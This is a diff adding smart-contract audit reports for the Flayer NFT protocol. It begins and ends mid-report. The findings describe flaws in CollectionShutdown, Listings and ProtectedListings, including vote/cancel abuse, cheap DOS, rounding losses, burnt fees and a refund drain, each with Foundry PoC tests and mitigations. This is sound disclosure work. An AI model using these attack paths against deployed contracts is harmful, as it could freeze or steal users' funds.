++ collectionShutdown.execute(address(erc721c), tokenIds);
++ ICollectionShutdown.CollectionShutdownParams memory params = collectionShutdown.collectionParams(address(erc721c));
++ assertEq(params.sweeperPool, 0xfE9276978BCD98E4B0703b01ff9c86E4B402B097);
++ vm.startPrank(attacker);
++
++ // after the shutdown has been executed, the attacker will reclaim their votes so that they
++ // can vote again
++ collectionShutdown.reclaimVote(address(erc721c));
++ collectionShutdown.vote(address(erc721c));
++
++ // because the previous collection token was sunset, the call to the locker contract
++ // in cancel fails. So we need to create a new token for that collection
++ locker.createCollection(address(erc721c), "Test Test", "T", 0);
++
++ // By voting again `canExecute` is true which allows us to call `cancel()`
++ collectionShutdown.cancel(address(erc721c));
++
++ params = collectionShutdown.collectionParams(address(erc721c));
++ // sweeper pool is 0 address meaning all calls to claim will fail.
++ // this effectivelly locks up all the proceeds from the sudoswap sales
++ assertEq(params.sweeperPool, address(0));
++ vm.expectRevert();
++ collectionShutdown.claim(address(erc721c), payable(attacker));
++
++ vm.stopPrank();
++ }
++
+ function test_CanGetContractVariables() public view {
+ // Confirm our contract addresses
+ assertEq(address(collectionShutdown.pairFactory()), address(PAIR_FACTORY));
+```
+
+### Mitigation
+
+Use new variable `isExecuted` to keep track whether a shutdown has been executed or not.
\ No newline at end of file
diff --git a/001/175.md b/001/175.md
new file mode 100644
index 0000000..a8c514d
--- /dev/null
+++ b/001/175.md
@@ -0,0 +1,94 @@
+Tiny Plastic Hyena
+
+Medium
+
+# CollectionShutdown can be cheaply DOS'd once a quorum has been reached, trapping voters' fTokens in the contract
+
+### Summary
+
+The safety checks in execute() in CollectionShutdown allow a malicious actor to DOS the function for very little capital via creating a protected listing. If quorum has passed, this can entirely lock voter's fTokens in CollectionShutdown until the DOS passes.
+
+### Root Cause
+
+In the execute() function in CollectionShutdown.sol, there is a [line that ensures there are no active listings.](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L241) This makes sense with legitimate listings because it will prevent a user selling a grail from getting rugged by a shutdown, but in the case of a reserved listing, it allows someone with little capital to keep the collection stuck.
+
+```solidity
+ function execute(address _collection, uint[] calldata _tokenIds) public onlyOwner whenNotPaused {
+ // Check that no listings currently exist
+@> if (_hasListings(_collection)) revert ListingsExist();
+```
+
+Additionally, users who cast their votes are not allowed to withdraw their tokens if a quorum has been reached.
+
+```solidity
+ function reclaimVote(address _collection) public whenNotPaused {
+ // If the quorum has passed, then we can no longer reclaim as we are pending
+ // an execution.
+ CollectionShutdownParams storage params = _collectionParams[_collection];
+@> if (params.canExecute) revert ShutdownQuorumHasPassed();
+```
+
+### Internal pre-conditions
+
+1. The protocol must have 4 or less NFTs in custody
+2. Users must have started a vote and reached a quorum to shut down the collection
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. The griefer creates a reserved listing with a small amount of capital
+2. Users fTokens are stuck in the CollectionShutdown contract until the DOS passes
+
+### Impact
+
+Users who voted to liquidate an entire collection will have their fTokens stuck inside the contract for as long as the attacker is able to pay the small fee required to DOS the shutdown. It only costs 0.05 fTokens of initial capital to start, plus 0.01 fTokens of fees to DOS the collection for 2 weeks. This would freeze at least 2 fTokens (half the supply!) at an ongoing rate of ~0.005 fTokens per week.
+
+This could be worked around by depositing a fifth NFT, cancelling the vote, and users reclaiming their votes, but that is a lot of capital and hassle compared to what the attacker has to do to throw a wrench in the works.
+
+### PoC
+
+The following code is just to demonstrate how long a small amount of capital hold up the contract.
+
+Please copy and paste the following into ProtectedListings.t.sol:
+```solidity
+function test_DosShutdown() public {
+ // Set the owner to one of our test users (Alice)
+ address payable _owner = users[0];
+
+ // Mint our token to the _owner
+ erc721a.mint(_owner, 1);
+ vm.startPrank(_owner);
+
+ // put an NFT in the locker
+ uint[] memory ids = new uint[](1);
+ ids[0] = 1;
+ erc721a.approve(address(locker), 1);
+ locker.deposit(address(erc721a), ids);
+
+ address payable doser = users[1];
+
+ // deal the DOSer a small amount of fTokens and start the DOS
+ vm.startPrank(doser);
+ deal(address(locker.collectionToken(address(erc721a))), doser, 0.06 ether);
+ locker.collectionToken(address(erc721a)).approve(address(listings), 0.06 ether);
+ listings.reserve(address(erc721a), 1, 0.06 ether);
+
+ // let's see how long that relatively small amount of capital bricks the system
+ // as long as the listing exists, it is impossible to call CollectionShutdown::execute()
+ uint256 daysShutdown = 0;
+ while (protectedListings.getProtectedListingHealth(address(erc721a), 1) > 0) {
+ daysShutdown += 1;
+ vm.warp(block.timestamp + (60 * 60 * 24));
+ }
+
+ // a 0.06 fToken investment (0.01 over the minimum) can DOS the shutdown function for 15 days
+ assertEq(daysShutdown, 15);
+ }
+```
+
+### Mitigation
+
+Consider disallowing new Protected Listings when a quorum has been reached, and consider allowing users to reclaim votes more easily.
\ No newline at end of file
diff --git a/001/177.md b/001/177.md
new file mode 100644
index 0000000..d37486b
--- /dev/null
+++ b/001/177.md
@@ -0,0 +1,191 @@
+Rich Chrome Whale
+
+High
+
+# Loss of funds for the last user trying to claim from shutdown collection
+
+### Summary
+
+In `CollectionShutdown` contract the last user can't claim due to rounding error for the total supply.
+
+Equatoin for calculation of quorum:
+`uint newQuorum = params.collectionToken.totalSupply() * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT;`
+
+In `claim` we calculate total supply by multiplying (quorum *(100/50)) giving less number making user have bigger share affecting the last user preventing him from claiming due to outoffunds
+` uint amount = params.availableClaim * claimableVotes / (params.quorumVotes * ONE_HUNDRED_PERCENT / SHUTDOWN_QUORUM_PERCENT);`
+
+
+### Root Cause
+
+[CollectionShutdown.sol#L243-L249](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L243-L249)
+
+[CollectionShutdown.sol#L310-L311](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L310-L311)
+
+[CollectionShutdown.sol#L343-L344](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L343-L344)
+
+
+Calculating total supply in `voteandClaim` , `claim` and `execute` from the qurom
+`(params.quorumVotes * ONE_HUNDRED_PERCENT / SHUTDOWN_QUORUM_PERCENT)`
+
+This should be `params.collectionToken.totalSupply()`
+
+
+
+### Internal pre-conditions
+
+
+1. Collection being Shutdown.
+2. All users claims but 1 user.
+
+
+### Attack Path
+
+Issue arises in `CollectionShutdown`
+
+When we `execute` shutdown we calculate the `params.quorumvotes` from total supply as follow
+`uint newQuorum = params.collectionToken.totalSupply() * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT;`
+`if (params.quorumVotes != newQuorum) {
+ params.quorumVotes = uint88(newQuorum);
+ }`
+
+The `quorumVotes` is 50% of the total supply But take note that it rounded down.
+
+After execution and a user `claim` , or `voteAndClaim` we calculate the share of the user as follow
+` uint amount = params.availableClaim * claimableVotes / (params.quorumVotes * ONE_HUNDRED_PERCENT / SHUTDOWN_QUORUM_PERCENT);`
+
+Knowing that this value is the Totalsupply `(params.quorumVotes * ONE_HUNDRED_PERCENT / SHUTDOWN_QUORUM_PERCENT)`
+This is slightly smaller than the actual `total supply` giving bigger share for the user.
+
+Small numerical example:
+total supply of 3000000000000000009
+Alice has 1e18
+Bob has 1e18
+eve has 1000000000000000009
+
+Assuming that `availableClaim` came from Sudoswap pool will give 10e18
+
+Calculating the shares for each user
+
+Alice should get `3333333333333333324`
+Bob should get `3333333333333333324`
+eve should get `3333333333333333354`
+
+the sum of those numbers is `10000000000000000002`
+
+This value is greater than the `availableClaim`
+
+So whoever claim last will get no rewards.
+
+Another example with one user having the total supply of 3000000000000000009
+and the availableClaim is 3000000000000000009
+
+So user should get `3000000000000000009`
+
+According to calculation user gets `3000000000000000010` which reverts the `claim`
+
+
+### Impact
+
+Loss of Funds
+
+### PoC
+
+Add `MAINNET_RPC_URL` in `${MAINNET_RPC_URL}`.
+
+Add this in `CollectionShutdown.t.sol` contract any where
+
+```solidity
+ function test_CannotClaimRoundingError() public {
+ //minting some funds for the user
+ vm.startPrank(address(locker));
+ collectionToken.mint(address(1), 3000000000000000009);
+ vm.stopPrank();
+
+ // Start our vote from address(1)
+ vm.startPrank(address(1));
+ collectionToken.approve(address(collectionShutdown), 3000000000000000009);
+ collectionShutdown.start(address(erc721b));
+ vm.stopPrank();
+
+ // Mint NFTs into our collection {Locker} and process the execution
+ uint[] memory tokenIds = _mintTokensIntoCollection(erc721b, 3);
+ collectionShutdown.execute(address(erc721b), tokenIds);
+
+ // Mock the process of the Sudoswap pool liquidating the NFTs for ETH. This will
+ // provide 1 ETH <-> 1 {CollectionToken}.
+ _mockSudoswapLiquidation(SUDOSWAP_POOL, tokenIds, 3000000000000000009);
+
+ // Our voting user(s) can't claim their fair share. This will revert due to OutOfFunds
+ vm.expectRevert(0x7f98b660);
+ collectionShutdown.claim(address(erc721b), payable(address(1)));
+
+ }
+```
+
+To test for multiple uesrs put his test in the same file
+```solidity
+ function test_CannotClaimRoundingErrorMultipleusers() public {
+ //minting some funds for the users
+ vm.startPrank(address(locker));
+ collectionToken.mint(address(1), 1000000000000000009);
+ collectionToken.mint(address(2), 1 ether);
+ collectionToken.mint(address(3), 1 ether);
+ vm.stopPrank();
+
+ // Start our vote from address(1)
+ vm.startPrank(address(1));
+ collectionToken.approve(address(collectionShutdown), 1000000000000000009);
+ collectionShutdown.start(address(erc721b));
+ vm.stopPrank();
+
+ // Start our vote from address(2)
+ vm.startPrank(address(2));
+ collectionToken.approve(address(collectionShutdown), 1 ether);
+ collectionShutdown.vote(address(erc721b));
+ vm.stopPrank();
+
+ // Start our vote from address(3)
+ vm.startPrank(address(3));
+ collectionToken.approve(address(collectionShutdown), 1 ether);
+ collectionShutdown.vote(address(erc721b));
+ vm.stopPrank();
+
+
+ // Mint NFTs into our collection {Locker} and process the execution
+ uint[] memory tokenIds1 = _mintTokensIntoCollection(erc721b, 4);
+ collectionShutdown.execute(address(erc721b), tokenIds1);
+
+ // Mock the process of the Sudoswap pool liquidating the NFTs for ETH. This will
+ // provide 1 ETH <-> 1 {CollectionToken}.
+ _mockSudoswapLiquidation(SUDOSWAP_POOL, tokenIds1, 7 ether);
+
+ // Our voting users can claim their fair share.
+ collectionShutdown.claim(address(erc721b), payable(address(2)));
+ collectionShutdown.claim(address(erc721b), payable(address(3)));
+
+ // The last voting user can't claim their fair share. This will revert due to OutOfFunds
+ vm.expectRevert(0x7f98b660);
+ collectionShutdown.claim(address(erc721b), payable(address(1)));
+ }
+```
+
+Run this command
+
+`forge test --match-test test_CannotClaimRoundingError -vvvv`
+
+you'll notice the Error
+```solidity
+ │ │ ├─ [4682] CollectionToken::burn(3000000000000000009 [3e18]) [delegatecall]
+ │ │ │ ├─ emit Transfer(from: CollectionShutdown: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], to: 0x0000000000000000000000000000000000000000, value: 3000000000000000009 [3e18])
+ │ │ │ └─ ← [Stop]
+ │ │ └─ ← [Return]
+ │ ├─ [0] 0x0000000000000000000000000000000000000001::fallback{value: 3000000000000000010}()
+ │ │ └─ ← [OutOfFunds] EvmError: OutOfFunds
+ │ └─ ← [Revert] FailedToClaim()
+ └─ ← [Stop]
+
+```
+
+### Mitigation
+
+In `claim` and `voteAndClaim` assign var in param struct for example totalsupply and give it avalue of `params.collectionToken.totalSupply()` instead of using `(params.quorumVotes * ONE_HUNDRED_PERCENT / SHUTDOWN_QUORUM_PERCENT)`
\ No newline at end of file
diff --git a/001/178.md b/001/178.md
new file mode 100644
index 0000000..58fc68c
--- /dev/null
+++ b/001/178.md
@@ -0,0 +1,103 @@
+Tiny Plastic Hyena
+
+High
+
+# ProtectedListings::unlockProtectedListing() burns fees meant to be given to protocol
+
+### Summary
+
+Fees that are meant to accrue to the protocol upon usage of ProtectedListings::unlockProtectedListing() are burnt, denying the protocol fee revenue and breaking the 1:1 ratio of NFTs to fTokens.
+
+### Root Cause
+
+In unlockProtectedListing() there are a few [lines that burn tokens.](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L303-L308) The intention was to burn the fToken representing the NFT that the user is withdrawing from the protocol, but the fees charged by the protocol are burnt as well.
+
+```solidity
+ // Repay the loaned amount, plus a fee from lock duration
+ // @audit unlockPrice() returns tokenTaken + fees
+@> uint fee = unlockPrice(_collection, _tokenId) * 10 ** denomination;
+ collectionToken.burnFrom(msg.sender, fee);
+
+ // We need to burn the amount that was paid into the Listings contract
+ collectionToken.burn((1 ether - tokenTaken) * 10 ** denomination);
+```
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+The protocol will lose all fees that a listing accrued if the owner uses this function. Additionally, there will no longer be a 1:1 relationship between fTokens and NFTs.
+
+### PoC
+
+Please copy and paste the following into ProtectedListings.t.sol:
+```solidity
+function test_BurnedFeesOnUnlockProtectedListing() public {
+ // Set the owner to one of our test users (Alice)
+ address payable _owner = users[0];
+
+ // Mint our token to the _owner
+ erc721a.mint(_owner, 1);
+ erc721a.mint(_owner, 2);
+
+ // Create our listing
+ vm.startPrank(_owner);
+ erc721a.approve(address(protectedListings), 1);
+ _createProtectedListing({
+ _listing: IProtectedListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(1),
+ listing: IProtectedListings.ProtectedListing({
+ owner: _owner,
+ tokenTaken: 0.5e18,
+ checkpoint: 0
+ })
+ })
+ });
+
+ // Create another listing just to ensure the user has enough balance to pay for the unlock of the first one
+ erc721a.approve(address(protectedListings), 2);
+ _createProtectedListing({
+ _listing: IProtectedListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(2),
+ listing: IProtectedListings.ProtectedListing({
+ owner: _owner,
+ tokenTaken: 0.5e18,
+ checkpoint: 0
+ })
+ })
+ });
+
+ // check the total supply - should be 12 tokens
+ uint256 supply = locker.collectionToken(address(erc721a)).totalSupply();
+ assert(supply == 12e18);
+
+
+ // let's do the time warp again to rack up some fees on the listing
+ vm.warp(block.timestamp + 100 days);
+
+ // approve the erc20 for the contract and unlock the first listing
+ locker.collectionToken(address(erc721a)).approve(address(protectedListings), 2e18);
+ protectedListings.unlockProtectedListing(address(erc721a), 1, true);
+
+ // supply is less than 11e18!
+ // there is no longer a 1:1 backing between nfts and ftokens - burnt tokens that were meant to be reminted never were
+ uint256 supplyAfter = locker.collectionToken(address(erc721a)).totalSupply();
+ assert(supplyAfter == 10955616438359360000);
+ }
+```
+
+### Mitigation
+
+Rather than burn the fee returned by unlockPrice(), burn the tokenTaken and send (unlockPrice() - tokenTaken) to the fee recipient.
\ No newline at end of file
diff --git a/001/180.md b/001/180.md
new file mode 100644
index 0000000..381d6b9
--- /dev/null
+++ b/001/180.md
@@ -0,0 +1,83 @@
+Flaky Sable Hamster
+
+High
+
+# Already `executed/sunset` collection can be `cancel()`, preventing users from claiming their `ETH`
+
+## Summary
+Already `executed/sunset` collection can be `cancel()`, preventing users from claiming their `ETH`
+
+## Vulnerability Detail
+User can vote for a collection using `vote()`, which checks if `canExecute = false & shutdownVotes >=quorumVotes` then it sets canExecute = true.
+```solidity
+function _vote(address _collection, CollectionShutdownParams memory params) internal returns (CollectionShutdownParams memory) {
+...
+ // If we can execute, then we need to fire another event
+@> if (!params.canExecute && params.shutdownVotes >= params.quorumVotes) {
+ params.canExecute = true;
+ emit CollectionShutdownQuorumReached(_collection);
+ }
+...
+ }
+```
+
+Owner can `execute/sunset` a collection using `execute()`, which creates a sudoswap pair & sets `canExecute = false`. Also, a collection can be cancelled using `cancel()`, for which canExecute should be `true`(keep this in mind)
+```solidity
+function execute(address _collection, uint[] calldata _tokenIds) public onlyOwner whenNotPaused {
+...
+ // Prevent the collection from being executed again
+@> params.canExecute = false;
+ emit CollectionShutdownExecuted(_collection, pool, _tokenIds);
+ }
+```
+```solidity
+ function cancel(address _collection) public whenNotPaused {
+ // Ensure that the vote count has reached quorum
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+@> if (!params.canExecute) revert ShutdownNotReachedQuorum();
+...
+
+ // Remove our execution flag
+@> delete _collectionParams[_collection];
+ emit CollectionShutdownCancelled(_collection);
+ }
+```
+
+Now the problem is, vote doesn't check if a `collection` has been `executed or not`, which means a user can call vote() for a collection after its execution, which will again set the `canExecute = true`(see above vote() code)
+
+A malicious user can take advantage of that and `cancel()` the already executed/sunset collection, which will delete the `_collectionParams` mapping, which stores `quorumVotes` & `availableClaim` that are used while claiming the ETH
+
+Here is how this works:
+1. Suppose a collection sunset is started & it reached the quorumVotes, which sets the canExecute = true
+2. Owner executed the collection, which sets the canExecute = false. User can now start claiming their share of ETH(assume all NFTs are sold in sudoswap)
+3. Malicious user voted for the collection using vote(), now canExecute = false(from execute()) & `shutdownVotes >=quorumVotes`, therefore `canExecute` will again be set to `true`
+4. Malicious user will then call cancel()(to cancel any collection we need canExecute = true), which will delete the `_collectionParams` mapping which stores `quorumVotes` & `availableClaim` that are used while claiming the ETH. As result, users will not or will receive 0 ETH in claim()
+```solidity
+function claim(address _collection, address payable _claimant) public nonReentrant whenNotPaused {
+...
+ // Get the number of votes from the claimant and the total supply and determine from that the percentage
+ // of the available funds that they are able to claim.
+@> uint amount = params.availableClaim * claimableVotes / (params.quorumVotes * ONE_HUNDRED_PERCENT / SHUTDOWN_QUORUM_PERCENT);
+ (bool sent,) = _claimant.call{value: amount}('');
+ if (!sent) revert FailedToClaim();
+...
+ }
+```
+
+## Impact
+Users will lose their share of ETH
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L208C1-L212C1
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L273
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L310C9-L313C1
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L393
+
+## Tool used
+Manual Review
+
+## Recommendation
+Add this check in cancel() & vote()
+```diff
++ if (params.sweeperPool != address(0)) revert ShutdownExecuted();
+```
\ No newline at end of file
diff --git a/001/181.md b/001/181.md
new file mode 100644
index 0000000..70a2c5e
--- /dev/null
+++ b/001/181.md
@@ -0,0 +1,125 @@
+Tiny Plastic Hyena
+
+High
+
+# Liquidated listings recieve undeserved tax refunds when relisted
+
+### Summary
+
+In Listings.sol, the relist() function lacks the same _isLiquidation checks that the other 'taker' functions have, giving the owner of a liquidated listing a refund when it is relisted.
+
+### Root Cause
+
+In relist() there is a part of the function that [processes tax refunds.](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L643-L647) However, all other instances in which _resolveListingTax() is used check to make sure it is not a liquidation listing such as this [instance in _fillListing().](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L500-L505) In this case, it is called either way, which credits the owner of the liquidated listing with a refund into their escrow. This is a problem because owners of liquidation listings do not pay listing taxes up front and are being refunded fTokens they didn't pay.
+
+```solidity
+ function relist(CreateListing calldata _listing, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused {
+ ...
+ // We can process a tax refund for the existing listing
+ // @audit no check to see if it is a liquidation before sending refund
+@> (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+ if (_fees != 0) {
+ emit ListingFeeCaptured(_collection, _tokenId, _fees);
+ }
+```
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+This issue will cause issues no matter what, but if someone wanted to exploit it and drain the entirety of the contract this is how they'd go about it:
+
+1. Create a protected listing
+2. Liquidate it themselves, or wait for someone else to (either way, the attacker will make more than the liquidation penalty)
+3. Relist it from a different address, then cancel the listing
+4. Repeat until their escrow balance is big enough to drain all funds from Listings
+
+### Impact
+
+This exploit will cause the Listings contract to bleed out funds to the owner of any liquidated listing that is relisted. A malicious actor could entirely deplete the contract of all fTokens by repeatedly doing this to their own listings, but even without such an attack intentionally occurring it breaks the accounting of the protocol, allowing users to steal funds from other users and from the protocol itself.
+
+### PoC
+
+Please copy the following into Listings.t.sol:
+```solidity
+ function test_LiquidatedListingRecievesExcessFunds() public {
+
+ address payable user = payable(makeAddr("user"));
+ uint tokenId = 5;
+
+ // Mint a mock erc to the user
+ erc721a.mint(user, tokenId);
+
+ // The user creates a protected listing and takes the maximum amount
+ vm.startPrank(user);
+
+ erc721a.approve(address(protectedListings), tokenId);
+ _createProtectedListing({
+ _listing: IProtectedListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(5),
+ listing: IProtectedListings.ProtectedListing({
+ owner: user,
+ tokenTaken: 0.95 ether,
+ checkpoint: 0
+ })
+ })
+ });
+
+ // wait one second, then liquidate
+ vm.warp(block.timestamp + 1);
+ protectedListings.liquidateProtectedListing(address(erc721a), 5);
+
+ // ensure that the user has 1 fToken and 0 escrow balance
+ uint256 userTokenBalance = locker.collectionToken(address(erc721a)).balanceOf(user);
+ assertEq(userTokenBalance, 1 ether);
+ uint256 userEscrowBalance = listings.balances(user, address(locker.collectionToken(address(erc721a))));
+ assertEq(userEscrowBalance, 0);
+
+ // a buyer relists the asset
+ address buyer = makeAddr("buyer");
+ deal(address(locker.collectionToken(address(erc721a))), buyer, 4 ether);
+
+ vm.startPrank(buyer);
+ locker.collectionToken(address(erc721a)).approve(address(listings), type(uint).max);
+
+ uint[][] memory tokenIdsOut = new uint[][](1);
+ tokenIdsOut[0] = new uint[](1);
+ tokenIdsOut[0][0] = tokenId;
+ IListings.FillListingsParams memory fillParams = IListings.FillListingsParams({
+ collection: address(erc721a),
+ tokenIdsOut: tokenIdsOut
+ });
+
+ uint[] memory tokenIds = new uint[](1);
+ tokenIds[0] = 5;
+
+ listings.relist(IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: tokenIds,
+ listing: IListings.Listing({
+ owner: payable(buyer),
+ created: uint40(block.timestamp),
+ duration: 7 days,
+ floorMultiple: 500
+ })
+ }), false);
+
+ // Owner of the liquidated listing recieved payment in full
+ uint256 postTokenBalance = locker.collectionToken(address(erc721a)).balanceOf(user);
+ assertEq(postTokenBalance, 4 ether);
+ // PLUS a refund to his escrow balance that he never paid in the first place!
+ uint256 postEscrowBalance = listings.balances(user, address(locker.collectionToken(address(erc721a))));
+ assertEq(postEscrowBalance, 51428571428571428);
+ }
+```
+
+### Mitigation
+
+Add a isLiquidation check to relist() similarly to the checks in _fillListing() and reserve()
\ No newline at end of file
diff --git a/001/182.md b/001/182.md
new file mode 100644
index 0000000..f9d252d
--- /dev/null
+++ b/001/182.md
@@ -0,0 +1,45 @@
+Flaky Sable Hamster
+
+High
+
+# Users can't reclaim votes due to arithmetic underflow if collection is cancelled
+
+## Summary
+Users can't reclaim votes due to arithmetic underflow if collection is cancelled
+
+## Vulnerability Detail
+User can reclaim their votes using `reclaimVote()`, which reduces the `shutdownVotes` by `userVotes`.
+```solidity
+function reclaimVote(address _collection) public whenNotPaused {
+ CollectionShutdownParams storage params = _collectionParams[_collection];
+...
+ // We delete the votes that the user has attributed to the collection
+@> params.shutdownVotes -= uint96(userVotes);
+...
+ }
+```
+Now the problem is, when a collection is cancelled using cancel(), it deletes the `_collectionParams` mapping which stores the `shutdownVotes`(from which userVotes are reduced in reclaimVote()).
+```solidity
+ function cancel(address _collection) public whenNotPaused {
+...
+ // Remove our execution flag
+@> delete _collectionParams[_collection];
+ emit CollectionShutdownCancelled(_collection);
+ }
+```
+
+As result, when user will try to reclaim their votes for a cancelled collection, it will revert due to arithmetic underflow because `params.shutdownVotes` will be 0(zero) after cancel()
+
+
+## Impact
+Users will not be able to reclaim their votes for a cancelled collection
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L403
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L369
+
+## Tool used
+Manual Review
+
+## Recommendation
+Don't delete the `_collectionParams` mapping in cancel(), instead delete it in reclaimVotes(), only if shutdownVotes = 0
\ No newline at end of file
diff --git a/001/184.md b/001/184.md
new file mode 100644
index 0000000..2c48eac
--- /dev/null
+++ b/001/184.md
@@ -0,0 +1,148 @@
+Tiny Plastic Hyena
+
+Medium
+
+# Multiple interactions with ProtectedListings in the same block bricks listings
+
+### Summary
+
+In ProtectedListings.sol, _createCheckpoint() returns the index to a checkpoint that doesn't exist if it is called twice in the same block. createListings() relies on this return value to set the checkpoint of the listing, leading to listings that cannot be interacted with until another checkPoint is set in another block. This can lead to the denial of service of listings which a user should be able to interact with, as well as faulty accounting for protocol fees.
+
+### Root Cause
+
+_createCheckpoint only pushes a new Checkpoint onto collectionCheckpoints [if the timestamp is not the same](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L562C14-L567). Otherwise it just modifies the current Checkpoint. However, it [always returns the index as if it had pushed a new checkpoint](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L532). This causes the listings made on blocks with multiple interactions have an index that points to a checkpoint that doesn't exist.
+
+```solidity
+function _createCheckpoint(address _collection) internal returns (uint index_) {
+ // Determine the index that will be created
+@> index_ = collectionCheckpoints[_collection].length; // @audit index is set at beginning as though a new one will be pushed onto the array
+ ...
+ // Get our new (current) checkpoint
+ Checkpoint memory checkpoint = _currentCheckpoint(_collection);
+
+ // If no time has passed in our new checkpoint, then we just need to update the
+ // utilization rate of the existing checkpoint.
+@> if (checkpoint.timestamp == collectionCheckpoints[_collection][index_ - 1].timestamp) {
+ collectionCheckpoints[_collection][index_ - 1].compoundedFactor = checkpoint.compoundedFactor;
+@> return index_; // @audit modifies existing checkpoint, but returns index that doesn't exist!
+ }
+
+ // Store the new (current) checkpoint
+ collectionCheckpoints[_collection].push(checkpoint);
+ }
+```
+
+```solidity
+ function createListings(CreateListing[] calldata _createListings) public nonReentrant lockerNotPaused {
+ ...
+ // Update our checkpoint for the collection if it has not been done yet for
+ // the listing collection.
+ checkpointKey = keccak256(abi.encodePacked('checkpointIndex', listing.collection));
+ assembly { checkpointIndex := tload(checkpointKey) }
+ if (checkpointIndex == 0) {
+@> checkpointIndex = _createCheckpoint(listing.collection); // @audit faulty return value of _createCheckpoint used to set index of new listing
+ assembly { tstore(checkpointKey, checkpointIndex) }
+ }
+```
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. Any function in ProtectedListings that calls _createCheckpoint() is called
+2. As long as it happens in the same block, any following createListings() call will have a nonexistent checkpoint
+
+### Impact
+
+This can cause a temporary inability to interact with the listing in any way. Because all interactions that change the state of a listing must access its checkpoint, any such functions will revert for trying to access an array item that doesn't exist.
+Additionally, because the checkpoint is set to one in the future, this will lead to a loss of fees for the protocol because the clock doesn't start ticking until the next checkpoint is set.
+
+### PoC
+
+Please copy and paste the following into Listings.t.sol:
+```solidity
+ function test_UnreachableCheckpoint() public {
+ address user = makeAddr("user");
+
+ // Mint a mock erc to the user
+ erc721a.mint(user, 5);
+ erc721a.mint(user, 6);
+ erc721a.mint(user, 7);
+
+ // The user creates a protected listing for all NFTs in same block
+ // Please note - it does NOT have to be a listing to trigger this effect
+ // anything that interacts with _createCheckpoint() can mess up a listing in the same block
+ vm.startPrank(user);
+
+ erc721a.setApprovalForAll(address(protectedListings), true);
+ _createProtectedListing({
+ _listing: IProtectedListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(5),
+ listing: IProtectedListings.ProtectedListing({
+ owner: payable(user),
+ tokenTaken: 0.5 ether,
+ checkpoint: 0
+ })
+ })
+ });
+
+ erc721a.setApprovalForAll(address(protectedListings), true);
+ _createProtectedListing({
+ _listing: IProtectedListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(6),
+ listing: IProtectedListings.ProtectedListing({
+ owner: payable(user),
+ tokenTaken: 0.5 ether,
+ checkpoint: 0
+ })
+ })
+ });
+
+ erc721a.setApprovalForAll(address(protectedListings), true);
+ _createProtectedListing({
+ _listing: IProtectedListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(7),
+ listing: IProtectedListings.ProtectedListing({
+ owner: payable(user),
+ tokenTaken: 0.5 ether,
+ checkpoint: 0
+ })
+ })
+ });
+
+ // check the checkpoints of the listings - first is 0, second two are 1
+ assertEq(protectedListings.listings(address(erc721a), 5).checkpoint, 0);
+ assertEq(protectedListings.listings(address(erc721a), 6).checkpoint, 1);
+ assertEq(protectedListings.listings(address(erc721a), 7).checkpoint, 1);
+
+
+ // first checkpoint is fine
+ protectedListings.collectionCheckpoints(address(erc721a), 0);
+ // second one reverts because it was never set, the first was just overwritten
+ vm.expectRevert();
+ protectedListings.collectionCheckpoints(address(erc721a), 1);
+
+ // this bricks any functionallity on the second two listings because they are set to index 1 and 2
+ // but only index 0 exists
+
+ // the first nft deposited functions
+ protectedListings.unlockPrice(address(erc721a), 5);
+
+ // the second and third are bricked until a new checkpoint is created by someone
